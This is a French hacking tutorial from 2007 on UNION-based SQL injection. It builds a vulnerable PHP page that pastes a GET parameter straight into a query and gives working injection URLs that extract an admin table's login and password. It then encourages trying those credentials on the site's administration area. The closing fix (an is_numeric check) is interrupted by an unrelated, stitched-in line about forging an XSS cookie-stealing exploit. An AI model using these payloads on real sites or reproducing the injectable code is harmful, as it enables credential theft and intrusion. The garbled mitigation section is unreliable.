Dans ce tutorial, nous allons apprendre à réaliser des injections SQL de type UNION. Mais ce tutorial est déconseillé aux newbies. Prérequis : connaissances en PHP, SQL, HTML, les bases pour tisser la toile en fait.





Ce genre d'injection SQL est vachement difficile à réaliser. Effectivement, utiliser une requête UNION doit amener le hacker à bruteforcer pour essayer de trouver les bons champs et la bonne table dans la base de donnée. Une injection SQL UNION permet de récolter des données dans une base, mais nous ne pouvons rien modifier, rien supprimer etc.
C'est pourquoi il est déconseillé aux newbies de lire ce tutorial. Essayez d'abord de faire des injections SQL simples, google est votre ami. ;).





Un tutorial sans exemple concret, est-ce possible ? Non, bien entendu ^^. Je vais donc fournir un exemple concret de script php.
On imaginera que la page s'appelle infos_monstre.php :


// On se connecte a mySQL
mysql_connect("localhost","hrw","p455w0rd") or die("Impossible de se connecter au serveur !");
mysql_select_db("base-hrw") or die("Base inexistante !");
 
 
// Ok, on est connecté, on fait notre requête pour extraire les informations du monstre demandé !
$sql = "SELECT id,nom,vie,attaque,description FROM monstre WHERE id=" . $_GET ['id'] ;
$query = mysql_query($sql) or die($sql . "
" . mysql_error());
while($donnees = mysql_fetch_array($query))
{
        echo "Nom du monstre : " . $donnees ['nom']  . "
";
        echo "Points de vie : " . $donnees ['vie']  . "
";
        echo "Points d'attaque : " . $donnees ['attaque']  . "
";
        echo "Description du monstre : " . $donnees ['description']  . "
 
";
}
 
// On se déconnecte de mySQL !
mysql_close();
?> 

Nous apercevons ici que, bien evidemment, les informations du monstres sont extraites en fonction de l'id. Voici aussi l'exemple concret de la table 'monstre'


Champs :       TYPE(taille) :
 
  id             INT(3)
  nom            VARCHAR(255)
  vie            INT(11)
  attaque        INT(11)
  description    VARCHAR(1000) 

On sait tous que, bien entendu, INT signifie INTEGER, donc nombre entier, et VARCHAR correspond aux caractères (a, b, c, 1, à etc etc...) ASCII. Revenons-en à notre code source : si nous envoyons manuellement l'url suivante : http://site.com/infos_monstre.php?id=1, la requête SQL deviendra ainsi :


SELECT id,nom,vie,attaque,description FROM monstre WHERE id=1 

Et donc nous aurons toutes les informations du monstre dont l'id est égale à 1 ! Vous me suivez ? ;)
On peut donc avoir en résultat (exemple) :

Nom du monstre : fantôme
Points de vie : 45
Points d'attaque : 20
Description : Un sale fantôme qui fait peur à tout le monde, bouuuh !

Car dans la table, toutes ces infos correspondent à l'id 1 :


id      nom             vie     attaque         description
1       fantôme         45      20              Un sale fantôme qui fait peur à tout le monde, bouuuh ! 

Enfin, pour terminer, il se peut qu'il y aie, bien évidemment, d'autres id croissantes (2, 3 etc etc...) avec d'autres infos ;)





Dans cette sous partie, nous allons prendre l'exemple concret de la seconde sous partie.
Notre but est de récupérer les infos de la table admin (qui contient certainement le login et le pass de l'administrateur <<) grâce à une injection SQL UNION.
En quoi est-ce dur ? Il faut :
- Deviner le nom de la table (ici on tente admin ou administrateur...)
- Deviner le nom des champs (cela peut-être login, pseudo, pass, password, etc etc etc...)
- selectionner un même nombre de champs dans l'UNION (mias ça ne sera pas un problème ici, nous verrons ça plus tard)
- que les champs sélectionnés soit de mêmes types en fonction de leur ordre (j'explique plus tard aussi).

Revenons-en à notre code. Si la requête ne marche pas, cela affiche un message d'erreur contenant le nom de la requête et l'explication de l'erreur
retournée grâce à la fonction mysql_error(). Si nous ne mettons aucune valeur à la variable GET de l'id, le script nous renverrais ceci :


SELECT id,nom,vie,attaque,description FROM monstre WHERE id=
You have an error in your SQL synthax, check the manual correspond to your mysql version ... 

Et grâce à cette erreur, on arrive à connaître le nombre de champs de la table monstre (5 champs) et le nom de la table en elle-même !

Nous allons donc pouvoir attaquer !
Si nous envoyons manuellement cette URL :


http://site.com/infos_monstre.php?id=1 UNION%20SELECT login,password FROM% admin 

Et imaginons que nous avons trouvé les bons champs et la bonne table, la requête deviendrai ainsi :


SELECT id,nom,vie,attaque,description FROM monstre
 
    WHERE id=1 UNION SELECT login,password FROM admin 

Je n'avais pas précisé tout à l'heure qu'il fallait autant de champs après l'UNION qu'avant l'UNION ??? Et aussi n'avais-je pas précisé que les champs sélectionnés soit de mêmes types en fonction de leur ordre ? xD.

Imaginons que notre table 'admin' ait cette structure :


Champs :       TYPE(taille) :
 
 login          VARCHAR(15)
 password       VARCHAR(15) 

On voit bien que les deux champs login et password sont de types varchar. Et quels sont les champs de type varchar dans la table monstre ? Miracle ! Il y en a deux ! c'est bien évidemment 'nom' et 'description'.


(?) Hop Hop Hop attends ! J'aimerais bien que tu m'expliques aussi après comment on fait si y a pas assez de champs 'varchar' dans monstre, car si j'ai affaire à une telle injection... :s

Pas de souci, mais pour le moment on en est à injecter correctement.
Récapitulons, on a 5 champs à mettre et les deux champs de la table admin sont en varchar. Comment allons-nous faire pour mettre 5 champs en injection ? Moi je sais :p. Il faut mettre des champs factices ! c'est-à-dire mettre des 0 ! Imaginons que notre table admin contient seulement une entrée avec pour login Ciryl et comme password banania. Envoyons manuellement cette URL :


http://site.com/infos_monstre.php?id=1 UNION SELECT 0,login,0,0,password FROM admin 

La requête deviendra ainsi :


SELECT id,nom,vie,attaque,description FROM monstre
    WHERE id=1 UNION SELECT 0,login,0,0,password FROM admin 

Et le résultat renvoyé sur la page ressemblera à (reporter vous au code concret si nécéssaire) :


Nom du monstre : fantôme
Points de vie : 45
Points d'attaque : 20
Description : Un sale fantôme qui fait peur à tout le monde, bouuuh !

Nom du monstre : Ciryl
Points de vie :
Points d'attaque :
Description : banania


Vous venez de réaliser une injection SQL UNION ! :)
Ah oui, et si il n'y a qu'un champ varchar, et bien faites une injection en mettant par exemple :


1 UNION SELECT 0,0,login,0,0 en id


Puis recommencez en remplaçant login, par password, c'est tout con ! :]

Après, si vous trouvez une certaine zone d'administration sur le même site, je pense que vous pouvez tenter en login Ciryl et en pass banania, probable que ça marche.





Enfin, la dernière partie de ce tuto (j'suis fatigué quoi... =P ). Rien de plus simple pour sécuriser tout ça, histoire d'empêcher les unions sur les id. Il faut tout simplement vérifier que la valeur id est numérique, grâce à la fonction is_numeric()

Nous allons forger un exploit qui :
- Récupère le cookie grâce à la faille XSS
- Se sert de ce cookie pour piocher les infos dans la page de profil

Voici un exemple :


if(is_numeric($_GET ['id'] ))
{
  // On place notre script qui se déroule sans problème
}
else
{
  // sinon on affiche un message d'erreur
}
 

Le tutorial prend fin, j'éspère qu'il a été assez clair pour vous.




   =>   Écrit par : Geo, le 05 décembre 2007


 
Mots clés :  
  web 
  
  php 
  
  sql 
  
  html 
    >   Articles connexes :

HTTP Server, tell me who you are ?


Discuter avec un serveur web *apparement* muet ? Voici comment faire...


TLD et Indexes téléphoniques

TLD et Indexes téléphoniques



Troll The Lamer

Troll The Lamer



Se protéger des injections SQL

Se protéger des injections SQL


Backdoor via injection SQL


Nous allons voir comme effectuer une injection SQL en contournant la protection par addslashes().

Forger un exploit grâce à un XSS


Ce tutorial n'énonce certainement rien de nouveau, mais il vous montrera comment forger un exploit qui agit lorsqu'il est directement utilisé par l'utilisateur cible. Celui-ci peut se servir du cookie pour...

6619318